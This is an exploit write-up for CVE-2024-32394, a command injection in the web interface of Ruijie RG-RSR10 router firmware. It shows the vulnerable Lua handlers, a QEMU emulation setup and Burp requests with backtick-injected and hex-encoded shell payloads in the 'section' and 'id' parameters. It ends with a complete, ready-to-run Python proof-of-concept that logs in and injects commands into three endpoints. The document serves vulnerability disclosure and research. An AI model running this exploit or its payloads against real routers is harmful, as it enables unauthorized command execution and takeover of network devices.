[CVE ID]
CVE-2024-32394 [PRODUCT] RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S
[VERSION]
RSR10-01G-T-S_RSR_3.0(1)B9P2, Release(07150910)
PROBLEM TYPE
[RCE] Authenticated Remote Command Execution
[DESCRIPTION]
Specific firmware versions of the RG-RSR10-01G-T(WA)-S series routers allow authorized attackers to trigger arbitrary command execution vulnerabilities using specific functionalities of the web management page.
Exploit Author:Yaxuan Wang
Date: April 18, 2024, 8:24:21
Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S
binwalk --run-as=root -Me ./RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin
└─# readelf -h ./bin/busybox
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 01 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 1
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Architecture: MIPS big endian
└─# tree -L 1 ./usr/lib/lua/luci
./usr/lib/lua/luci
├── cacheloader.lua
├── cbi
├── cbi.lua
├── ccache.lua
├── config.lua
├── controller
├── debug.lua
├── dispatcher.lua
├── fs.lua
├── http
├── http.lua
├── i18n
├── i18n.lua
├── init.lua
├── ip.lua
├── json.lua
├── ltn12.lua
├── model
├── sauth.lua
├── sgi
├── store.lua
├── sys
├── sys.lua
├── template
├── template.lua
├── tools
├── util.lua
├── version.lua
└── view
11 directories, 19 files
You can see that the entire file system is based on the Linux openwrt architecture, using uhttpd as the server-side.
File Location
- /firmware/_RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin.extracted/squashfs-root/usr/lib/lua/luci/controller/admin/network.lua
- /firmware/_RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin.extracted/squashfs-root/usr/lib/lua/luci/controller/admin/uci.lua
-
The function
urldecode_params()
in/usr/lib/lua/luci/http/protocol.lua
does not perform strict filtering on user-supplied parameter content, such as backticks. Users can wrap commands with backticks and concatenate them into several vulnerable commands analyzed below, leading to arbitrary command execution. -
The
system_auto_download(id)
function in/usr/lib/lua/luci/controller/admin/uci.lua
does not validate the legitimacy of its parameters, allowing attackers to use backticks, for example, to execute commands.
function zone_edit()
local uci = require("luci.model.uci").cursor()
local section = luci.http.formvalue("section")
if section ~= "" then
fork_exec("uci set firewall.@defaults[0].editzone="..section)
uci:commit("firewall")
else
local fw = require("luci.model.firewall").init(uci)
local z = fw:new_zone()
if z then
section = z.sid
fork_exec("uci set firewall.@defaults[0].editzone="..section)
uci:commit("firewall")
end
end
local rv = {section}
luci.http.prepare_content("application/json")
luci.http.write_json(rv)
return
end
function rule_edit()
local uci = require("luci.model.uci").cursor()
local section = luci.http.formvalue("section")
fork_exec("uci set firewall.@defaults[0].editrule="..section)
uci:commit("firewall")
local rv = {section}
luci.http.prepare_content("application/json")
luci.http.write_json(rv)
return
end
In the network.lua
file, the script fails to validate the correctness of the section
variable provided by the user. Specifically, users can invoke three functions: zone_edit
, rule_edit
, and fork_exec
. By employing double backticks "``" to construct malicious commands, the fork_exec
function within the script is susceptible to arbitrary command execution.
function index()
local redir = luci.http.formvalue("redir", true) or
luci.dispatcher.build_url(unpack(luci.dispatcher.context.request))
entry({"admin", "uci", "quick_config_init"}, call("quick_config_init"), nil).leaf = true
entry({"admin", "uci", "system_auto_download"}, call("system_auto_download"), nil).leaf = true
end
function system_auto_download(id)
local srv_url = "http://rgos.ruijie.com.cn/eweb/download.asp?id="
local wget_file = "/tmp/wget_state"
local bin_file = "/tmp/sysupgrade.img"
nixio.fs.unlink(wget_file)
nixio.fs.unlink(bin_file)
if id and #id > 0 then
luci.http.prepare_content("text/plain")
local load_cmd = "wget -O " .. bin_file .. " " .. srv_url .. id .. " 2>" .. wget_file
fork_exec(load_cmd)
luci.http.write("")
return
end
luci.http.status(500, "Bad URL")
end
It's evident that in the system_auto_download
function, there's no validation performed on the legitimacy of the id
parameter. Consequently, users can craft malicious URL requests to pass malformed id
parameters (such as backticks), leading to arbitrary command execution.
Here the author selects: debian_wheezy_mips_standard.qcow2
, README.txt
, vmlinux-3.2.0-4-4kc-malta
.
Setting up a simple LAN for communication with QEMU
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 10.10.10.2/24
QEMU Networking Configuration
#In QEMU
root@debian-mips:~# ifconfig eth0 10.10.10.1
Running QEMU
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
Packaging File System
tar -cvf squashfs-root.tar squashfs-root
Enabling Simple HTTP Server
python -m http.server
Downloading and Unpacking File System in QEMU
root@debian-mips:~# wget http://10.10.10.2:8000/squashfs-root.tar
root@debian-mips:~# tar -zvf ./squashfs-root.tar
Configuring Basic Environment in QEMU
root@debian-mips:~# cd squashfs-root
root@debian-mips:~/squashfs-root# rm var #Binwalk may redirect some essential links to /dev>>NULL, so we need to recreate the links.
root@debian-mips:~/squashfs-root# ln -sf tmp var
root@debian-mips:~# mount -t proc /proc ./proc
root@debian-mips:~# mount -o bind /dev ./dev
root@debian-mips:~# chroot . sh
Starting uhttpd
# /etc/init.d/uhttpd start
Login to 10.10.10.1
via a web browser, default password is admin
.
Use Burp to intercept traffic packets from the router's web interface setup wizard.
Arbitrarily construct a legitimate entry:
Forward the intercepted request to Repeater
and construct the request as follows:
As shown in the above diagram, the function being invoked is admin/network/firewall_zones/zone_edit
. By crafting a malicious request using "section=echo%20'haha\'>>/proof.txt
", it is demonstrated that the command is executed.
section=`echo%20'haha\'>>/proof.txt
From the screenshot below, it can be seen that the request has been executed successfully.
Similarly, the exploitation method for the rule_edit
function is similar. Here are some validations:
Craft malicious URL as follows:
POST /cgi-bin/router/;stok=3a4bc1e07bd2fb016a19e09c3488b221/admin/uci/system_auto_download/2`echo%20-ne%20%22%5Cx65%5Cx63%5Cx68%5Cx6f%5Cx20%5Cx22%5Cx6e%5Cx69%5Cx63%5Cx65%5Cx6f%5Cx6e%5Cx65%5Cx22%5Cx20%5Cx3e%5Cx3e%5Cx20%5Cx2f%5Cx70%5Cx72%5Cx6f%5Cx6f%5Cx66%5Cx2e%5Cx74%5Cx78%5Cx74%22%3Efoo.sh%26%26chmod%20%2Bx%20foo.sh%26%26.%20foo.sh` HTTP/1.1
Host: 10.10.10.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin: http://10.10.10.1
Connection: close
Referer: http://10.10.10.1/cgi-bin/router/;stok=3a4bc1e07bd2fb016a19e09c3488b221/admin/network/switch_vlan
Cookie: sysauth=06d36913271b4f850db6b08f74c26fce; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh
The content of the shellcode is echo "niceone" >> /proof.txt
.
After sending the malicious request, the command is executed, resulting in the following effect:
Thus, the vulnerability verification on QEMU is completed.
Router Information
The router is powered on. Ethernet port is used for validation.
Execute the attack script:
python ./poc.py -c 192.168.1.1 -u admin -p newpassword
Executing the attack script, the command validation is successful, as follows:
# -*- coding: utf-8 -*-
"""
Ruijie Router Arbitrary Command Execution POC.
MIT License
Copyright (c) 2024 Swind1er
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import argparse
import logging
__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"
logging.basicConfig(level=logging.INFO)
def main():
parser = argparse.ArgumentParser(description='Ruijie Router Arbitrary Command Execution POC.')
parser.add_argument('-c', '--client', metavar='Client', help='Client IP address.')
parser.add_argument('-u', '--username', metavar='Username',default='admin', help='Router username.')
parser.add_argument('-p', '--password', metavar='Password',default='admin', help='Router password.')
args = parser.parse_args()
logging.info(f'POC author: {__author__},email:{__email__}')
logging.info(f'Client IP: {args.client}')
url_static = 'http://'+args.client + '/cgi-bin/router/'
logging.info(f'URL to login: {url_static}')
headers = {
'Host': args.client,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://'+args.client,
'Connection': 'close',
'Referer': 'http://'+args.client+'/cgi-bin/router',
'Cookie': 'LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh',
'Upgrade-Insecure-Requests': '1'
}
data = {
'username': args.username,
'password': args.password
}
response = requests.post(url_static, headers=headers, data=data)
stok_value = ''
if response.status_code != 200:
logging.error(f'Failed to login in.')
exit(0)
sysauth_value = response.cookies.get('sysauth')
logging.debug(f'cookie: {sysauth_value}')
if 'Set-Cookie' in response.headers:
set_cookie = response.headers['Set-Cookie']
logging.debug(f'Set-Cookie:{set_cookie}')
stok_value = set_cookie.split('stok=')[1]
logging.debug(f'stok_value:{stok_value}')
else:
logging.warning('Set-Cookie header not found in response')
exit(0)
#Verify the vulnerability in zone_edit() in network.lua."
url = url_static + f';stok={stok_value}/admin/network/firewall_zones/zone_edit'
logging.info(f"URL to attack:{url}")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://'+args.client,
'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/network/firewall_zones',
'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
}
data = {
# U can do anything you want to do.
'section': "`echo 'Arbitrary execution vulnerability in the zone_edit() function verified successfully!'>>/proof.txt`"
}
logging.debug(f"data:{data}")
response = requests.post(url, headers=headers, data=data)
if response.status_code < 200 or response.status_code >= 300:
logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
exit(0)
else:
logging.info(f"Attack URL: {url} Successful.")
#Verify the vulnerability in rule_edit() in network.lua.
url = url_static + f';stok={stok_value}/admin/network/firewall_rules/rule_edit'
logging.info(f"URL to attack:{url}")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://'+args.client,
'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/network/firewall_zones',
'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
}
data = {
# U can do anything you want to do.
'section': "`echo 'Arbitrary execution vulnerability in the rule_edit() function verified successfully!'>>/proof.txt`"
}
logging.debug(f"data:{data}")
response = requests.post(url, headers=headers, data=data)
if response.status_code < 200 or response.status_code >= 300:
logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
exit(0)
else:
logging.info(f"Attack URL: {url} Successful.")
#Verify the vulnerability in system_auto_download() in uci.lua.
#shellcode:echo "Arbitrary execution vulnerability in the system_auto_download(id) function verified successfully!" >> /proof.txt
payload = '''`echo%20-ne%20%22%5Cx65%5Cx63%5Cx68%5Cx6f%5Cx20%5Cx22%5Cx41%5Cx72%5Cx62%5Cx69%5Cx74%5Cx72%5Cx61%5Cx72%5Cx79%5Cx20%5Cx65%5Cx78%5Cx65%5Cx63%5Cx75%5Cx74%5Cx69%5Cx6f%5Cx6e%5Cx20%5Cx76%5Cx75%5Cx6c%5Cx6e%5Cx65%5Cx72%5Cx61%5Cx62%5Cx69%5Cx6c%5Cx69%5Cx74%5Cx79%5Cx20%5Cx69%5Cx6e%5Cx20%5Cx74%5Cx68%5Cx65%5Cx20%5Cx73%5Cx79%5Cx73%5Cx74%5Cx65%5Cx6d%5Cx5f%5Cx61%5Cx75%5Cx74%5Cx6f%5Cx5f%5Cx64%5Cx6f%5Cx77%5Cx6e%5Cx6c%5Cx6f%5Cx61%5Cx64%5Cx28%5Cx69%5Cx64%5Cx29%5Cx20%5Cx66%5Cx75%5Cx6e%5Cx63%5Cx74%5Cx69%5Cx6f%5Cx6e%5Cx20%5Cx76%5Cx65%5Cx72%5Cx69%5Cx66%5Cx69%5Cx65%5Cx64%5Cx20%5Cx73%5Cx75%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%5Cx66%5Cx75%5Cx6c%5Cx6c%5Cx79%5Cx21%5Cx22%5Cx20%5Cx3e%5Cx3e%5Cx20%5Cx2f%5Cx70%5Cx72%5Cx6f%5Cx6f%5Cx66%5Cx2e%5Cx74%5Cx78%5Cx74%22%3Efoo.sh%26%26chmod%20%2Bx%20foo.sh%26%26.%20foo.sh`'''
url = url_static + f';stok={stok_value}/admin/uci/system_auto_download/2{payload}'
logging.info(f"URL to attack:{url}")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://'+args.client,
'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/network/firewall_zones',
'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
}
response = requests.post(url, headers=headers)
if response.status_code < 200 or response.status_code >= 300:
logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
exit(0)
else:
logging.info(f"Attack URL: {url} Successful.")
logging.info("Done. Please check the proof.txt file in the root directory.")
if __name__ == "__main__":
main()